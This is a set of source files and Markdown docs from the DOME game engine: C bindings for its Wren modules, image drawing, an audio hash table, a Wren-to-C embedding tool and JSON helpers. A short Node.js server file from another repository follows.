AUDIO_getLength); MAP_addFunction(&engine->moduleMap, "audio", "static AudioEngine.f_stopAllChannels()", AUDIO_ENGINE_wrenStopAll); MAP_lockModule(&engine->moduleMap, "audio"); // FileSystem MAP_addFunction(&engine->moduleMap, "io", "static FileSystem.f_load(_,_)", FILESYSTEM_loadAsync); MAP_addFunction(&engine->moduleMap, "io", "static FileSystem.load(_)", FILESYSTEM_loadSync); MAP_addFunction(&engine->moduleMap, "io", "static FileSystem.save(_,_)", FILESYSTEM_saveSync); MAP_addFunction(&engine->moduleMap, "io", "static FileSystem.listFiles(_)", FILESYSTEM_listFiles); MAP_addFunction(&engine->moduleMap, "io", "static FileSystem.listDirectories(_)", FILESYSTEM_listDirectories); MAP_addFunction(&engine->moduleMap, "io", "static FileSystem.prefPath(_,_)", FILESYSTEM_getPrefPath); MAP_addFunction(&engine->moduleMap, "io", "static FileSystem.basePath()", FILESYSTEM_getBasePath); MAP_addFunction(&engine->moduleMap, "io", "static FileSystem.createDirectory(_)", FILESYSTEM_createDirectory); // Buffer MAP_addClass(&engine->moduleMap, "io", "DataBuffer", DBUFFER_allocate, DBUFFER_finalize); MAP_addFunction(&engine->moduleMap, "io", "static DataBuffer.f_capture()", DBUFFER_capture); MAP_addFunction(&engine->moduleMap, "io", "DataBuffer.f_data", DBUFFER_getData); MAP_addFunction(&engine->moduleMap, "io", "DataBuffer.ready", DBUFFER_getReady); MAP_addFunction(&engine->moduleMap, "io", "DataBuffer.f_length", DBUFFER_getLength); // AsyncOperation MAP_addClass(&engine->moduleMap, "io", "AsyncOperation", ASYNCOP_allocate, ASYNCOP_finalize); MAP_addFunction(&engine->moduleMap, "io", "AsyncOperation.result", ASYNCOP_getResult); MAP_addFunction(&engine->moduleMap, "io", "AsyncOperation.complete", ASYNCOP_getComplete); MAP_lockModule(&engine->moduleMap, "io"); // Input MAP_addClass(&engine->moduleMap, "input", "SystemGamePad", GAMEPAD_allocate, GAMEPAD_finalize); MAP_addFunction(&engine->moduleMap, "input", "static Input.f_captureVariables()", INPUT_capture); MAP_addFunction(&engine->moduleMap, "input", "static Mouse.x", MOUSE_getX); MAP_addFunction(&engine->moduleMap, "input", "static Mouse.y", MOUSE_getY); MAP_addFunction(&engine->moduleMap, "input", "static Mouse.scrollX", MOUSE_getScrollX); MAP_addFunction(&engine->moduleMap, "input", "static Mouse.scrollY", MOUSE_getScrollY); MAP_addFunction(&engine->moduleMap, "input", "static Mouse.hidden=(_)", MOUSE_setHidden); MAP_addFunction(&engine->moduleMap, "input", "static Mouse.hidden", MOUSE_getHidden); MAP_addFunction(&engine->moduleMap, "input", "static Mouse.relative=(_)", MOUSE_setRelative); MAP_addFunction(&engine->moduleMap, "input", "static Mouse.relative", MOUSE_getRelative); MAP_addFunction(&engine->moduleMap, "input", "static SystemGamePad.f_getGamePadIds()", GAMEPAD_getGamePadIds); MAP_addFunction(&engine->moduleMap, "input", "SystemGamePad.getTrigger(_)", GAMEPAD_getTrigger); MAP_addFunction(&engine->moduleMap, "input", "SystemGamePad.close()", GAMEPAD_close); MAP_addFunction(&engine->moduleMap, "input", "SystemGamePad.f_getAnalogStick(_)", GAMEPAD_getAnalogStick); MAP_addFunction(&engine->moduleMap, "input", "SystemGamePad.rumble(_,_)", GAMEPAD_rumble); MAP_addFunction(&engine->moduleMap, "input", "SystemGamePad.attached", GAMEPAD_isAttached); MAP_addFunction(&engine->moduleMap, "input", "SystemGamePad.name", GAMEPAD_getName); MAP_addFunction(&engine->moduleMap, "input", "SystemGamePad.id", GAMEPAD_getId); MAP_lockModule(&engine->moduleMap, "input"); // Json MAP_addFunction(&engine->moduleMap, "json", "JsonStream.stream_begin(_)", JSON_STREAM_begin); MAP_addFunction(&engine->moduleMap, "json", "JsonStream.stream_end()", JSON_STREAM_end); MAP_addFunction(&engine->moduleMap, "json", "JsonStream.next", JSON_STREAM_next); MAP_addFunction(&engine->moduleMap, "json", "JsonStream.value", JSON_STREAM_value); MAP_addFunction(&engine->moduleMap, "json", "JsonStream.error_message", JSON_STREAM_error_message); MAP_addFunction(&engine->moduleMap, "json", "JsonStream.lineno", JSON_STREAM_lineno); MAP_addFunction(&engine->moduleMap, "json", "JsonStream.pos", JSON_STREAM_pos); MAP_addFunction(&engine->moduleMap, "json", "static JsonStream.escapechar(_,_)", JSON_STREAM_escapechar); MAP_lockModule(&engine->moduleMap, "json"); // Platform MAP_addFunction(&engine->moduleMap, "platform", "static Platform.time", PLATFORM_getTime); MAP_addFunction(&engine->moduleMap, "platform", "static Platform.name", PLATFORM_getName); MAP_lockModule(&engine->moduleMap, "platform"); // Plugin MAP_addFunction(&engine->moduleMap, "plugin", "static Plugin.f_load(_)", PLUGIN_load); MAP_lockModule(&engine->moduleMap, "plugin"); // Random MAP_addClass(&engine->moduleMap, "random", "Squirrel3", RANDOM_allocate, RANDOM_finalize); MAP_addFunction(&engine->moduleMap, "random", "static Squirrel3.noise(_,_)", RANDOM_noise); MAP_addFunction(&engine->moduleMap, "random", "Squirrel3.float()", RANDOM_float); MAP_lockModule(&engine->moduleMap, "random"); return vm; } internal void VM_free(WrenVM* vm) { if (vm != NULL) { wrenFreeVM(vm); } } <file_sep>/docs/modules/async.md [< Back](.) io ================ The `io` module provides an interface to the host machine's file system, in order to read and write data files. It contains the following classes: * [FileSystem](#filesystem) * [DataBuffer](#databuffer) * [AsyncOperation](#asyncoperation) ## FileSystem ### Static Methods #### `static load(path)` ## DataBuffer ### Instance fields #### `data` #### `length` #### `ready` ## AsyncOperation ### Instance fields #### `complete` #### `result` <file_sep>/docs/modules/json.md [< Back](.) json ================ The `json` module provides a simple interface to read and write [json files and strings](https://www.json.org/json-en.html). It contains the following classes: * [Json](#json) * [JsonOptions](#jsonoptions) * [JsonError](#jsonerror) ## Json ### Static Methods #### `static encode(object: Object): String` #### `static encode(object: Object, options: Num): String` Transform the object to a _Json_ encoded string. With default or custom options. Encoding only works for primitive data types (_Bool_, _Map_, _Num_, _Null_, _List_, _String_). If a non primitive object is passed, the encoder will call it's _toString_ method. #### `static decode(value: String, options: Num): Object` #### `static decode(value: String): Object` Returns a new _Json_ object with default or custom options. #### `static load(path: String): Object` #### `static load(path: String, options: Num): Object` Reads the contents of a file in `path` and returns a new _Json_ object with default or custom options. #### `static save(path: String, object: Object)` #### `static save(path: String, object: Object, options: Num)` This will encode the object and then save the result to a file specified in `path`. With default or custom options. ### Examples #### Encoding a Simple Object A simple object made with only primitive data structures. ```js Json.encode({ "is": true }) ``` #### Encoding a Complex Object An object made with custom data structures. ```js import "json" for Json class MyClass { // override toString to provide a serializable representation // of the object. This serialization will be called by the // Json.encode() method. toString { Json.encode(toMap) } toMap { { "is": isTrue } } isTrue { _isTrue } construct new(isTrue) { _isTrue = isTrue } } var obj = MyClass.new(true) // prints: { "is":true } System.print(Json.encode(obj)) ``` ## JsonOptions ### Constants #### `static nil: Num` No options selected. #### `static escapeSlashes: Num` This will encode solidus character (`/`). When converting a `Map` object to a `String`. This encoding is optional and is useful when you need to embed `JSON` inside `HTML <script>` tags. By default _DOME_ does not escape slashes. #### `static abortOnError: Num` By default _DOME_ aborts when there is a _JSON parsing error_ (triggers a `Fiber.abort()` on parse error). Turn off this option if you want to capture the _JsonError_ object. #### `static checkCircular: Num` By default _DOME_ checks, when encoding, if your JSON contains circles, and aborts if it does. Turn off this option to not perform this check. This can speed up serializing, but will trigger an infinite recursion if the JSON indeed contains circles. ### Example Use [Bitwise OR](https://wren.io/method-calls.html#operators) operator to select multiple options. ```js Json.decode(myString, JsonOptions.escapeSlashes | JsonOptions.abortOnError); ``` ## JsonError This object is returned on calls to _Json.decode_ only if the `JsonOptions.abortOnError` default behaviour is disabled and a parse error was found. ### Instance Properties #### `line: Num` Stores the last parsed line number. #### `position: Num` Stores the last parsed cursor position. #### `message: String` Stores the generated error message. #### `found: Bool` Tells if an error was found. <file_sep>/src/modules/image.c typedef struct { int32_t width; int32_t height; uint32_t* pixels; int32_t channels; } IMAGE; typedef enum { COLOR_MODE_RGBA, COLOR_MODE_MONO } COLOR_MODE; typedef struct { IMAGE* image; VEC scale; double angle; double opacity; int32_t srcW; int32_t srcH; iVEC src; VEC dest; COLOR_MODE mode; // MONO color palette uint32_t backgroundColor; uint32_t foregroundColor; // Tint color value uint32_t tintColor; } DRAW_COMMAND; internal DRAW_COMMAND DRAW_COMMAND_init(IMAGE* image) { DRAW_COMMAND command; command.image = image; command.src = (iVEC) { 0, 0 }; command.srcW = image->width; command.srcH = image->height; command.dest = (VEC) { 0, 0 }; command.angle = 0; command.scale = (VEC) { 1, 1 }; command.opacity = 1; command.mode = COLOR_MODE_RGBA; command.backgroundColor = 0xFF000000; command.foregroundColor = 0xFFFFFFFF; command.tintColor = 0x00000000; return command; } internal void DRAW_COMMAND_execute(ENGINE* engine, DRAW_COMMAND* commandPtr) { DRAW_COMMAND command = *commandPtr; IMAGE* image = command.image; iVEC src = command.src; int32_t srcW = command.srcW; int32_t srcH = command.srcH; VEC dest = command.dest; double angle = command.angle; VEC scale = command.scale; uint32_t* pixel = (uint32_t*)image->pixels; pixel = pixel + (src.y * image->width + src.x); int direction = round(angle / 90); direction %= 4; if(direction < 0) direction += 4; double sX = (1.0 / scale.x); double sY = (1.0 / scale.y); if (direction >= 0) { double swap; sX = fabs(sX); sY = fabs(sY); int32_t w = (srcW) * fabs(scale.x); int32_t h = (srcH) * fabs(scale.y); if (direction & 1) { swap = w; w = h; h = swap; } for (int32_t j = 0; j < h; j++) { for (int32_t i = 0; i < w; i++) { int32_t x = dest.x + i; int32_t y = dest.y + j; double q = i * sX; double t = j * sY; int32_t u = (q); int32_t v = (t); if ((scale.y > 0 && direction >= 2) || (scale.y < 0 && direction < 2)) { y = dest.y + (h-1) - j; } bool flipX = ((direction == 1 || direction == 2)); if ((scale.x < 0 && !flipX) || (scale.x > 0 && flipX)) { x = dest.x + (w-1) - i; } if (direction & 1) { swap = u; u = v; v = swap; } // Prevent out-of-bounds access if ((src.x + u) < 0 || (src.x + u) >= image->width || (src.y + v) < 0 || (src.y + v) >= image->height) { continue; } uint32_t preColor = *(pixel + (v * image->width + u)); uint32_t color = preColor; uint8_t alpha = (0xFF000000 & color) >> 24; if (command.mode == COLOR_MODE_MONO) { if (alpha < 0xFF || (color & 0x00FFFFFF) == 0) { color = command.backgroundColor; } else { color = command.foregroundColor; } } else { color = ((uint8_t)(alpha * command.opacity) << 24) | (preColor & 0x00FFFFFF); } ENGINE_pset(engine, x, y, color); // Only apply the tint on visible pixels if (command.tintColor != 0 && color != 0 && (alpha * command.opacity) != 0) { ENGINE_pset(engine, x, y, command.tintColor); } } } } } internal void DRAW_COMMAND_allocate(WrenVM* vm) { ASSERT_SLOT_TYPE(vm, 1, FOREIGN, "image"); ASSERT_SLOT_TYPE(vm, 2, LIST, "parameters"); DRAW_COMMAND* command = (DRAW_COMMAND*)wrenSetSlotNewForeign(vm, 0, 0, sizeof(DRAW_COMMAND)); IMAGE* image = wrenGetSlotForeign(vm, 1); *command = DRAW_COMMAND_init(image); wrenGetListElement(vm, 2, 0, 1); ASSERT_SLOT_TYPE(vm, 1, NUM, "angle"); command->angle = wrenGetSlotDouble(vm, 1); wrenGetListElement(vm, 2, 1, 1); ASSERT_SLOT_TYPE(vm, 1, NUM, "scale.x"); command->scale.x = wrenGetSlotDouble(vm, 1); wrenGetListElement(vm, 2, 2, 1); ASSERT_SLOT_TYPE(vm, 1, NUM, "scale.y"); command->scale.y = wrenGetSlotDouble(vm, 1); if (wrenGetListCount(vm, 2) > 3) { wrenGetListElement(vm, 2, 3, 1); ASSERT_SLOT_TYPE(vm, 1, NUM, "source X"); command->src.x = wrenGetSlotDouble(vm, 1); wrenGetListElement(vm, 2, 4, 1); ASSERT_SLOT_TYPE(vm, 1, NUM, "source Y"); command->src.y = wrenGetSlotDouble(vm, 1); wrenGetListElement(vm, 2, 5, 1); ASSERT_SLOT_TYPE(vm, 1, NUM, "source width"); command->srcW = wrenGetSlotDouble(vm, 1); wrenGetListElement(vm, 2, 6, 1); ASSERT_SLOT_TYPE(vm, 1, NUM, "source height"); command->srcH = wrenGetSlotDouble(vm, 1); wrenGetListElement(vm, 2, 7, 1); ASSERT_SLOT_TYPE(vm, 1, STRING, "color mode"); const char* mode = wrenGetSlotString(vm, 1); if (STRINGS_EQUAL(mode, "MONO")) { command->mode = COLOR_MODE_MONO; } else { command->mode = COLOR_MODE_RGBA; } wrenGetListElement(vm, 2, 8, 1); ASSERT_SLOT_TYPE(vm, 1, NUM, "foreground color"); command->foregroundColor = wrenGetSlotDouble(vm, 1); wrenGetListElement(vm, 2, 9, 1); ASSERT_SLOT_TYPE(vm, 1, NUM, "background color"); command->backgroundColor = wrenGetSlotDouble(vm, 1); wrenGetListElement(vm, 2, 10, 1); ASSERT_SLOT_TYPE(vm, 1, NUM, "opacity"); command->opacity = wrenGetSlotDouble(vm, 1); wrenGetListElement(vm, 2, 11, 1); ASSERT_SLOT_TYPE(vm, 1, NUM, "tint color"); command->tintColor = wrenGetSlotDouble(vm, 1); } } internal void DRAW_COMMAND_finalize(void* data) { // Nothing here } internal void DRAW_COMMAND_draw(WrenVM* vm) { ASSERT_SLOT_TYPE(vm, 1, NUM, "x"); ASSERT_SLOT_TYPE(vm, 2, NUM, "y"); ENGINE* engine = (ENGINE*)wrenGetUserData(vm); DRAW_COMMAND* command = wrenGetSlotForeign(vm, 0); command->dest.x = wrenGetSlotDouble(vm, 1); command->dest.y = wrenGetSlotDouble(vm, 2); DRAW_COMMAND_execute(engine, command); } internal void IMAGE_allocate(WrenVM* vm) { IMAGE* image = (IMAGE*)wrenSetSlotNewForeign(vm, 0, 0, sizeof(IMAGE)); image->pixels = NULL; if (wrenGetSlotCount(vm) < 3) { image->width = 0; image->height = 0; image->channels = 0; } else { ASSERT_SLOT_TYPE(vm, 1, NUM, "width"); ASSERT_SLOT_TYPE(vm, 2, NUM, "height"); image->width = wrenGetSlotDouble(vm, 1); image->height = wrenGetSlotDouble(vm, 2); image->channels = 4; image->pixels = calloc(image->width * image->height, image->channels * sizeof(uint8_t)); } } internal void IMAGE_finalize(void* data) { IMAGE* image = data; if (image->pixels != NULL) { free(image->pixels); } } internal void IMAGE_loadFromFile(WrenVM* vm) { ASSERT_SLOT_TYPE(vm, 0, FOREIGN, "ImageData"); ASSERT_SLOT_TYPE(vm, 1, STRING, "image"); int length; const char* fileBuffer = wrenGetSlotBytes(vm, 1, &length); IMAGE* image = (IMAGE*)wrenGetSlotForeign(vm, 0); image->pixels = (uint32_t*)stbi_load_from_memory((const stbi_uc*)fileBuffer, length, &image->width, &image->height, &image->channels, STBI_rgb_alpha); if (image->pixels == NULL) { const char* errorMsg = stbi_failure_reason(); size_t errorLength = strlen(errorMsg); char buf[errorLength + 8]; snprintf(buf, errorLength + 8, "Error: %s\n", errorMsg); wrenSetSlotString(vm, 0, buf); wrenAbortFiber(vm, 0); return; } } internal void IMAGE_draw(WrenVM* vm) { ASSERT_SLOT_TYPE(vm, 1, NUM, "x"); ASSERT_SLOT_TYPE(vm, 2, NUM, "y"); ENGINE* engine = (ENGINE*)wrenGetUserData(vm); IMAGE* image = (IMAGE*)wrenGetSlotForeign(vm, 0); int32_t x = wrenGetSlotDouble(vm, 1); int32_t y = wrenGetSlotDouble(vm, 2); if (image->channels == 2 || image->channels == 4) { // drawCommand DRAW_COMMAND command = DRAW_COMMAND_init(image); command.dest = (VEC){ x, y }; DRAW_COMMAND_execute(engine, &command); } else { // fast blit size_t height = image->height; size_t width = image->width; uint32_t* pixels = image->pixels; for (size_t j = 0; j < height; j++) { uint32_t* row = pixels + (j * width); ENGINE_blitLine(engine, x, y + j, width, row); } } } internal void IMAGE_getWidth(WrenVM* vm) { IMAGE* image = (IMAGE*)wrenGetSlotForeign(vm, 0); wrenSetSlotDouble(vm, 0, image->width); } internal void IMAGE_getHeight(WrenVM* vm) { IMAGE* image = (IMAGE*)wrenGetSlotForeign(vm, 0); wrenSetSlotDouble(vm, 0, image->height); } internal void IMAGE_pset(WrenVM* vm) { ASSERT_SLOT_TYPE(vm, 0, FOREIGN, "image"); ASSERT_SLOT_TYPE(vm, 1, NUM, "x"); ASSERT_SLOT_TYPE(vm, 2, NUM, "y"); ASSERT_SLOT_TYPE(vm, 3, NUM, "color"); IMAGE* image = (IMAGE*)wrenGetSlotForeign(vm, 0); int64_t width = image->width; int64_t height = image->height; int64_t x = round(wrenGetSlotDouble(vm, 1)); int64_t y = round(wrenGetSlotDouble(vm, 2)); uint64_t color = wrenGetSlotDouble(vm, 3); if (0 <= x && x < width && 0 <= y && y < height) { uint32_t* pixels = image->pixels; pixels[y * width + x] = color; } else { VM_ABORT(vm, "pset co-ordinates out of bounds") } } internal void IMAGE_pget(WrenVM* vm) { ASSERT_SLOT_TYPE(vm, 0, FOREIGN, "image"); ASSERT_SLOT_TYPE(vm, 1, NUM, "x"); ASSERT_SLOT_TYPE(vm, 2, NUM, "y"); IMAGE* image = (IMAGE*)wrenGetSlotForeign(vm, 0); int64_t width = image->width; int64_t height = image->height; int64_t x = round(wrenGetSlotDouble(vm, 1)); int64_t y = round(wrenGetSlotDouble(vm, 2)); if (0 <= x && x < width && 0 <= y && y < height) { uint32_t* pixels = image->pixels; uint32_t c = pixels[y * width + x]; wrenSetSlotDouble(vm, 0, c); } else { VM_ABORT(vm, "pget co-ordinates out of bounds") } } internal void IMAGE_getPNGOutput(void* vm, void* data, int size) { wrenSetSlotBytes(vm, 0, data, size); } internal void IMAGE_getPNG(WrenVM* vm) { IMAGE* image = (IMAGE*)wrenGetSlotForeign(vm, 0); ASSERT_SLOT_TYPE(vm, 0, FOREIGN, "image"); if (image->pixels != NULL) { stbi_write_png_to_func(IMAGE_getPNGOutput, vm, image->width, image->height, image->channels, image->pixels, image->width * sizeof(uint8_t) * image->channels); } else { wrenSetSlotNull(vm, 0); } } <file_sep>/src/audio/hashmap.c // Hash table based on the implementation in "Crafting Interpreters" // as well as the Wren VM. #define TABLE_MAX_LOAD 0.75 #define NIL_KEY 0 #define IS_TOMBSTONE(entry) ((entry)->value.state == CHANNEL_LAST) #define IS_EMPTY(entry) ((entry)->value.state == CHANNEL_INVALID) // <NAME>, Integer Hash Functions. // http://www.concentric.net/~Ttwang/tech/inthash.htm internal inline uint32_t hashBits(uint64_t hash) { // Wren VM cites v8's computeLongHash() function which in turn cites: // <NAME>, Integer Hash Functions. // http://www.concentric.net/~Ttwang/tech/inthash.htm hash = ~hash + (hash << 18); // hash = (hash << 18) - hash - 1; hash = hash ^ (hash >> 31); hash = hash * 21; // hash = (hash + (hash << 2)) + (hash << 4); hash = hash ^ (hash >> 11); hash = hash + (hash << 6); hash = hash ^ (hash >> 22); return (uint32_t)(hash & 0x3fffffff); } global_variable const CHANNEL TOMBSTONE = { .state = CHANNEL_LAST, .ref = { .id = NIL_KEY } }; global_variable const CHANNEL EMPTY_CHANNEL = { .state = CHANNEL_INVALID, .ref = { .id = NIL_KEY } }; typedef struct { uint32_t next; uint32_t found; bool done; CHANNEL* value; } TABLE_ITERATOR; void TABLE_iterInit(TABLE_ITERATOR* iter) { iter->next = 0; iter->found = 0; iter->done = false; iter->value = NULL; } typedef struct { CHANNEL_ID key; CHANNEL value; } ENTRY; typedef struct { uint32_t items; uint32_t count; uint32_t capacity; ENTRY* entries; } TABLE; void TABLE_init(TABLE* table) { table->count = 0; table->items = 0; table->capacity = 0; table->entries = NULL; } void TABLE_free(TABLE* table) { if (table->entries != NULL) { free(table->entries); } TABLE_init(table); } internal bool TABLE_iterate(TABLE* table, TABLE_ITERATOR* iter) { CHANNEL* value = NULL; if (iter->found >= table->items) { iter->done = true; } if (!iter->done) { for (uint32_t i = iter->next; i < table->capacity; i++) { ENTRY* entry = &table->entries[i]; if (entry->key == NIL_KEY) { continue; } iter->next = i + 1; iter->found++; value = &entry->value; break; } iter->value = value; } return !iter->done; } internal bool TABLE_findEntry(ENTRY* entries, uint32_t capacity, CHANNEL_ID key, ENTRY** result) { if (capacity == 0) { return false; } uint32_t startIndex = hashBits(key) % capacity; uint32_t index = startIndex; ENTRY* tombstone = NULL; do { ENTRY* entry = &(entries[index]); if (entry->key == NIL_KEY) { if (IS_EMPTY(entry)) { *result = tombstone != NULL ? tombstone : entry; return false; } else { if (tombstone == NULL) { tombstone = entry; } } } else if (entry->key == key) { *result = entry; return true; } index = (index + 1) % capacity; } while (index != startIndex); *result = tombstone; return false; } internal void TABLE_resize(TABLE* table, uint32_t capacity) { ENTRY* entries = malloc(sizeof(ENTRY) * capacity); for (uint32_t i = 0; i < capacity; i++) { entries[i].key = NIL_KEY; entries[i].value = EMPTY_CHANNEL; } table->count = 0; for (uint32_t i = 0; i < table->capacity; i++) { ENTRY* entry = &table->entries[i]; if (entry->key == NIL_KEY) { continue; } ENTRY* dest = NULL; bool found = TABLE_findEntry(entries, capacity, entry->key, &dest); if (!found) { assert(dest != NULL); dest->key = entry->key; dest->value = entry->value; table->count++; } } free(table->entries); table->capacity = capacity; table->entries = entries; } internal CHANNEL* TABLE_set(TABLE* table, CHANNEL_ID key, CHANNEL channel) { if ((table->items + 1) > table->capacity * TABLE_MAX_LOAD) { uint32_t capacity = table->capacity < 4 ? 4 : table->capacity * 2; TABLE_resize(table, capacity); } ENTRY* entry = NULL; bool found = TABLE_findEntry(table->entries, table->capacity, key, &entry); if (found) { entry->value = channel; } else { if (!IS_TOMBSTONE(entry)) { table->count++; } table->items++; entry->key = key; entry->value = channel; } return &(entry->value); } internal bool TABLE_get(TABLE* table, CHANNEL_ID key, CHANNEL** channel) { if (table->count == 0) { *channel = NULL; return false; } ENTRY* entry; bool found = TABLE_findEntry(table->entries, table->capacity, key, &entry); if (found) { *channel = &entry->value; return true; } return false; } internal bool TABLE_delete(TABLE* table, CHANNEL_ID key) { if (table->count == 0) { return false; } ENTRY* entry; bool found = TABLE_findEntry(table->entries, table->capacity, key, &entry); if (found) { table->items--; entry->key = NIL_KEY; entry->value = TOMBSTONE; return true; } return false; } internal void TABLE_addAll(TABLE* dest, TABLE* src) { for (uint32_t i = 0; i < src->capacity; i++) { ENTRY* entry = &src->entries[i]; if (entry->key != NIL_KEY) { TABLE_set(dest, entry->key, entry->value); } } } <file_sep>/src/util/wrenembed.c // Converts a Wren source file to a C include file // Using standard IO only #include <stdio.h> #include <stdlib.h> #include <string.h> #ifndef WRENEMBED_c #define WRENEMBED_c char* WRENEMBED_readEntireFile(char* path, size_t* lengthPtr) { FILE* file = fopen(path, "r"); if (file == NULL) { return NULL; } char* source = NULL; if (fseek(file, 0L, SEEK_END) == 0) { // Get the size of the file. long bufsize = ftell(file); // Allocate our buffer to that size. source = malloc(sizeof(char) * (bufsize + 1)); // Go back to the start of the file. if (fseek(file, 0L, SEEK_SET) != 0) { // Error } // Read the entire file into memory. size_t newLen = fread(source, sizeof(char), bufsize, file); if (ferror(file) != 0) { fclose(file); return NULL; } if (lengthPtr != NULL) { *lengthPtr = newLen; } // Add NULL, Just to be safe. source[newLen++] = '\0'; } fclose(file); return source; } int WRENEMBED_encodeAndDump(int argc, char* args[]) { if (argc < 2) { fputs("Not enough arguments\n", stderr); return EXIT_FAILURE; } size_t length; char* fileName = args[1]; char* fileToConvert = WRENEMBED_readEntireFile(fileName, &length); if (fileToConvert == NULL) { fputs("Error reading file\n", stderr); return EXIT_FAILURE; } // TODO: Maybe use the filename as a default identifier char* moduleName = "wren_module_test"; if(argc > 2) { // TODO: Maybe sanitize moduleName to be valid C identifier? moduleName = args[2]; } FILE *fp; if(argc > 3) { fp = fopen(args[3], "w+"); } else { // Example: main.wren.inc fp = fopen(strcat(strdup(fileName), ".inc"), "w+"); } fputs("// auto-generated file, do not modify\n", fp); fputs("const char ", fp); fputs(moduleName, fp); fputs("[", fp); fprintf(fp, "%li", length + 1); fputs("] = {", fp); // Encode chars for (size_t i = 0; i < length; i++ ) { char* ptr = fileToConvert + i; if (*ptr == '\n') { fputs("'\\n',", fp); fputs("\n", fp); } else { fputs("'", fp); // TODO: Properly test the encoding with different source files if (*ptr == '\'') { fputs("\\\'", fp); } else { fwrite(ptr, sizeof(char), 1, fp); } fputs("', ", fp); } } fputs("\0", fp); fputs(" };\n", fp); fclose(fp); free(fileToConvert); return EXIT_SUCCESS; } void WRENEMBED_usage() { fputs("dome -e | --embed sourceFile [moduleName] [destinationFile]\n", stderr); } int WRENEMBED_encodeAndDumpInDOME(int argc, char* args[]) { // Function to be used inside DOME that adapts argc and args // Removing the first arg. int count = argc - 1; if (count < 2) { fputs("Not enough arguments\n", stderr); WRENEMBED_usage(); return EXIT_FAILURE; } char* argv[count]; int index; for(index = 0; index < count; index++) { argv[index] = args[index + 1]; } int exit = WRENEMBED_encodeAndDump(count, argv); if (exit == EXIT_FAILURE) { WRENEMBED_usage(); } return exit; } #endif <file_sep>/src/modules/json.c // JSON Parser Events const char json_typename[][64] = { [JSON_ERROR] = "com.domeengine.json:JSON_ERROR", [JSON_DONE] = "com.domeengine.json:JSON_DONE", [JSON_OBJECT] = "com.domeengine.json:JSON_OBJECT", [JSON_OBJECT_END] = "com.domeengine.json:JSON_OBJECT_END", [JSON_ARRAY] = "com.domeengine.json:JSON_ARRAY", [JSON_ARRAY_END] = "com.domeengine.json:JSON_ARRAY_END", [JSON_STRING] = "com.domeengine.json:JSON_STRING", [JSON_NUMBER] = "com.domeengine.json:JSON_NUMBER", [JSON_TRUE] = "com.domeengine.json:JSON_TRUE", [JSON_FALSE] = "com.domeengine.json:JSON_FALSE", [JSON_NULL] = "com.domeengine.json:JSON_NULL", }; json_stream jsonStream[1]; internal void JSON_STREAM_begin(WrenVM * vm) { ASSERT_SLOT_TYPE(vm, 1, STRING, "value"); const char * value = wrenGetSlotString(vm, 1); json_open_string(jsonStream, value); json_set_streaming(jsonStream, 0); } internal void JSON_STREAM_end(WrenVM * vm) { json_reset(jsonStream); json_close(jsonStream); } internal void JSON_STREAM_value(WrenVM * vm) { const char * value = json_get_string(jsonStream, 0); wrenSetSlotString(vm, 0, value); } internal void JSON_STREAM_error_message(WrenVM * vm) { const char * error = json_get_error(jsonStream); if(error) { wrenSetSlotString(vm, 0, error); return; } wrenSetSlotString(vm, 0, ""); } internal void JSON_STREAM_lineno(WrenVM * vm) { wrenSetSlotDouble(vm, 0, json_get_lineno(jsonStream)); } internal void JSON_STREAM_pos(WrenVM * vm) { wrenSetSlotDouble(vm, 0, json_get_position(jsonStream)); } internal void JSON_STREAM_next(WrenVM * vm) { enum json_type type = json_next(jsonStream); if (json_typename[type]) { wrenSetSlotString(vm, 0, json_typename[type]); return; } wrenSetSlotNull(vm, 0); } // We have to use C functions for escaping chars // because a bug in compiler throws error when using \ in strings enum JSON_DOME_OPTIONS { JSON_DOME_NIL_OPTIONS = 0, JSON_DOME_ESCAPE_SLASHES = 1, JSON_DOME_ABORT_ON_ERROR = 2 }; internal void JSON_STREAM_escapechar(WrenVM * vm) { ASSERT_SLOT_TYPE(vm, 1, STRING, "value"); ASSERT_SLOT_TYPE(vm, 2, NUM, "options"); const char * value = wrenGetSlotString(vm, 1); int options = (int) wrenGetSlotDouble(vm, 2); const char * result = value; /* "\0" // The NUL byte: 0. "\"" // A double quote character. "\\" // A backslash. "\a" // Alarm beep. (Who uses this?) "\b" // Backspace. "\f" // Formfeed. "\n" // Newline. "\r" // Carriage return. "\t" // Tab. "\v" // Vertical tab. */ if (utf8cmp(value, "\0") == 0) { result = "\\0"; } else if (utf8cmp(value, "\"") == 0) { result = "\\\""; } else if (utf8cmp(value, "\\") == 0) { result = "\\\\"; } else if (utf8cmp(value, "\\") == 0) { result = "\\a"; } else if (utf8cmp(value, "\b") == 0) { result = "\\b"; } else if (utf8cmp(value, "\f") == 0) { result = "\\f"; } else if (utf8cmp(value, "\n") == 0) { result = "\\n"; } else if (utf8cmp(value, "\r") == 0) { result = "\\r"; } else if (utf8cmp(value, "\t") == 0) { result = "\\t"; } else if (utf8cmp(value, "\v") == 0) { result = "\\v"; } else if (utf8cmp(value, "/") == 0) { // Escape / (solidus, slash) // https://stackoverflow.com/a/9735430 // The feature of the slash escape allows JSON to be embedded in HTML (as SGML) and XML. // https://www.w3.org/TR/html4/appendix/notes.html#h-B.3.2 // This is optional escaping. Disabled by default. // use JsonOptions.escapeSlashes option to enable it if ((options & JSON_DOME_ESCAPE_SLASHES) != JSON_DOME_NIL_OPTIONS) { result = "\\/"; } } wrenSetSlotString(vm, 0, result); } <file_sep>/docs/modules/index.md [< Back](..) Modules ============ DOME includes a number of modules to interact with the user through graphics and audio, access their inputs and hard drive. It also has a few useful utilities for mathematical operations. The modules you can import are here: * [audio](audio) * [dome](dome) * [graphics](graphics) * [input](input) * [io](io) * [json](json) * [math](math) * [plugin](plugin) * [random](random) For example, the `graphics` module can be imported to access the `Canvas` and `Color` classes, like this: ```wren import "graphics" for Canvas, Color ... Canvas.cls() Canvas.print("Hello world", 20, 20, Color.white) ```
23401cfb1f2f6d234901ea46cf5ce97f264a05e5
[ "Ruby", "Markdown", "Makefile", "C", "Shell" ]
66
C
voidberg/dome
1646d17a4b983fa5303a0e0d7f4f52b084d1fb83
60af331084b068ea8d69ee0cb72dd74c4406a34a
refs/heads/master
<file_sep>const server = require('./server') const port = 5000 server.listen(port, () => { console.log(`POSTS API server running on port ${port}`) })
5114f5bcc8674826c931fd94277a3bb683c879e3
[ "JavaScript" ]
1
JavaScript
wmemorgan/webapi-ii-challenge
5181f8f57a7edab47926ec3fc27769ad60a42386
522c2dc43fb20d6beda2fd1062719aa8ea3fc33a
refs/heads/master
